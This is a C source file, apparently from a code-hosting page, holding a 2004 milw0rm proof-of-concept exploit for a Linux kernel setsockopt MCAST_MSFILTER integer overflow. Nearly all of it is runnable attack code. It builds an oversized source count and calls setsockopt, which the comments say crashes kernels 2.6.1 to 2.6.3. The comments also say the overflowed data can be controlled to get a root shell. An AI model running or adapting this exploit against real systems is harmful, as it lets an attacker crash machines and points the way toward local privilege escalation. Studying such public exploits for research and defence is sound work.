477bcbdcc0
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91 lines
1.9 KiB
C
Executable file
91 lines
1.9 KiB
C
Executable file
/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
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vulnerability found (as always by Paul Starzetz
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This is only a lame POC which will crash the machine, no root shell here.
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Maybe later, when everybody will have an updated box.
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It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.
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Greets to Christophe Devine, too bad you wasn't with me for this one.
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*/
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#include <errno.h>
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void perror (const char *s);
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <linux/in.h>
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#include <linux/socket.h>
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#define SOL_IP 0
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#define MCAST_MSFILTER 48
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/* mynumsrc and alloc_room control the overflow
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* what we write can be controlled too (not needed
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* here but needed for rootshell exploit
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*/
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#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
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#define alloc_room 1 /* let it alocate only one u32 */
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struct mygroup_filter
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{
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__u32 gf_interface; /* interface index */
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struct sockaddr_storage gf_group; /* multicast address */
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__u32 gf_fmode; /* filter mode */
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__u32 gf_numsrc; /* number of sources */
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struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
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};
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void
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main (void)
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{
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int mysocket;
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int sockprot;
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struct mygroup_filter mygroup;
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int optlen;
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int i;
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struct sockaddr_in *psin;
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mygroup.gf_interface = 0;
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mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;
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mygroup.gf_group.ss_family = AF_INET;
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for (i = 0; i < mynumsrc; i++)
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{
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psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
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psin->sin_family = AF_INET;
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}
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mysocket = socket (PF_INET, SOCK_STREAM, 0);
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if (mysocket == -1)
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{
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perror ("Socket creation error: ");
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exit (1);
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}
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optlen = sizeof (struct mygroup_filter);
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printf ("Calling setsockopt(), this should crash the box...\n");
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sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen);
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if (sockprot == -1)
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{
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perror ("Invalid setsockopt: ");
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exit (1);
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}
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}
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// milw0rm.com [2004-04-21]
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